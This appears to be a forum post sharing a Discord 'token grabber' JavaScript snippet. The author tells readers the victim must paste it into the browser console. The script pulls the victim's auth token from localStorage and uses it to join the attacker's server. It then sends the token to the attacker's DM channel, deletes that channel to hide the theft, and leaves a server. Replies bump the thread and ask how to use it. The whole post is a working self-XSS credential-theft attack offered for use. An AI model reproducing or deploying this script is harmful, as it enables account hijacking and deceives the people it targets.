Discord Token Grabber XMLHttpRequest

[25]

Discord JavaScript token 

The victim must paste this in console Javascript :
var t = document.body.appendChild(document.createElement('iframe')).contentWindow.localStorage.token;
var ct = t.replace(/['"]+/g, '');
let r = new XMLHttpRequest();
r.withCredentials = true;
r.open("POST", "https://discordapp.com/api/v6/invite/id_invite"); // replace id_invite with your discord invitation 
r.setRequestHeader("authorization", ct);
r.setRequestHeader("accept", "/");
r.setRequestHeader("authority", "discordapp.com");
r.send(null);
 
setTimeout(() => {
    r = new XMLHttpRequest();
    r.withCredentials = true;
    r.open("POST", "https://discordapp.com/api/v6/channels/id/messages?limit=50"); // replace with your dm id
    r.setRequestHeader("authorization", ct);
    r.setRequestHeader("content-type", "application/json");
    r.send(JSON.stringify({ content: t }));
}, 300);
 
setTimeout(() => {
    r = new XMLHttpRequest();
    r.withCredentials = true;
    r.open("DELETE", "https://discordapp.com/api/v6/channels/id "); // replace id with your dm id 
    r.setRequestHeader("authorization", ct);
    r.setRequestHeader("accept", "/");
    r.send(null);
}, 700);

setTimeout(() => {
    r = new XMLHttpRequest();
    r.withCredentials = true;
    r.open("DELETE", "https://discordapp.com/api/v6/users/@me/guilds/id"); // replace id with ID server leave
    r.setRequestHeader("authorization", ct);
    r.setRequestHeader("accept", "/");
    r.send(null);
}, 1000);

Enjoy

[25]

This is a bump

[14]

How do I use it?